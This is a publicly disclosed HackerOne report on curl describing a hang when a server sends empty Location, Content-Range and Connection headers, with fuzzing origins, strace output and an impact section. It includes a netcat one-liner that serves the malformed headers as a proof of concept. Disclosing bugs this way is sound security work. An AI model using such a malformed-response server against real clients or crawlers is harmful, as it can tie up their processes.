HexBrain

curl · Report #889160

Poll loop/hang on incomplete HTTP header

Informativestatus
mediumseverity
3upvotes
22 Jan 2021disclosed

How it was found

Summary:

When an incomplete server header is missing its value, the curl client will receive the packet but hang while parsing it. Examples of vulnerable server headers: Location, Content-Range and Connection. Adding the --max-timeoption will terminate the request as intended.

Steps To Reproduce:

  1. Set up server: echo -e "HTTP/1.1 200 OK\r\nLocation:\r\nContent-Range:\r\nConnection:\r\n" | nc -l -p 1337
  2. Make the request: curl --connect-timeout 1 http://localhost:1337

Supporting Material/References:

The bug was found using AFL with network support. The repository https://github.com/kugg/fuzzminator with the commit hash id 08a0102fbf633e5de3d43a01b995e1ca8e68bbd3.

  • The attached file named hangs.tar.gz contains results from AFL including headers resulting in a hang.
  • Note: Location header is parsed even without the --location option and also when the server indicate 200 OK.

Strace output $ strace curl -v --connect-timeout 1 http://localhost:1337

connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 1 ([{fd=3, revents=POLLOUT|POLLWRNORM}])
getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
getpeername(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, [128->16]) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(37502), sin_addr=inet_addr("127.0.0.1")}, [128->16]) = 0
write(2, "*", 1*)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Connected to localhost (127.0.0."..., 50Connected to localhost (127.0.0.1) port 1337 (#0)
) = 50
sendto(3, "GET / HTTP/1.1\r\nHost: localhost:"..., 78, MSG_NOSIGNAL, NULL, 0) = 78
write(2, ">", 1>)                        = 1
write(2, " ", 1 )                        = 1
write(2, "GET / HTTP/1.1\r\n", 16GET / HTTP/1.1
)      = 16
write(2, ">", 1>)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Host: localhost:1337\r\n", 22Host: localhost:1337
) = 22
write(2, ">", 1>)                        = 1
write(2, " ", 1 )                        = 1
write(2, "User-Agent: curl/7.58.0\r\n", 25User-Agent: curl/7.58.0
) = 25
write(2, ">", 1>)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Accept: */*\r\n", 13Accept: */*
)         = 13
write(2, ">", 1>)                        = 1
write(2, " ", 1 )                        = 1
write(2, "\r\n", 2
)                     = 2
poll([{fd=3, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND}], 1, 0) = 1 ([{fd=3, revents=POLLIN|POLLRDNORM}])
recvfrom(3, "HTTP/1.1 200 OK\nLocation:\nConten"..., 102400, 0, NULL, NULL) = 60
write(2, "<", 1<)                        = 1
write(2, " ", 1 )                        = 1
write(2, "HTTP/1.1 200 OK\n", 16HTTP/1.1 200 OK
)       = 16
write(2, "<", 1<)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Location:\n", 10Location:
)             = 10
write(2, "<", 1<)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Content-Range:\n", 15Content-Range:
)        = 15
write(2, "<", 1<)                        = 1
write(2, " ", 1 )                        = 1
write(2, "Connection: Close\n", 18Connection: Close
)     = 18
write(2, "<", 1<)                        = 1
write(2, " ", 1 )                        = 1
write(2, "\n", 1
)                       = 1
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0
poll([{fd=3, events=POLLIN}], 1, 198)   = 0 (Timeout)
rt_sigaction(SIGPIPE, NULL, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, 8) = 0
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0
poll([{fd=3, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND}], 1, 0) = 0 (Timeout)
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f60c90e1890}, NULL, 8) = 0
poll([{fd=3, events=POLLIN}], 1, 1)     = 0 (Timeout)

Impact

This vulnerability could lead to denial of service of one given http request. Curl is often used for crawling, when this is the case a curl process could be blocked indefinitely by a server providing incomplete headers. If curl is used for fetching third party information through a web interface an attacker with SSRF or XXE access could use this bug to exhaust process id numbers or amount of allowed forks for the process by locking up curl clients.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original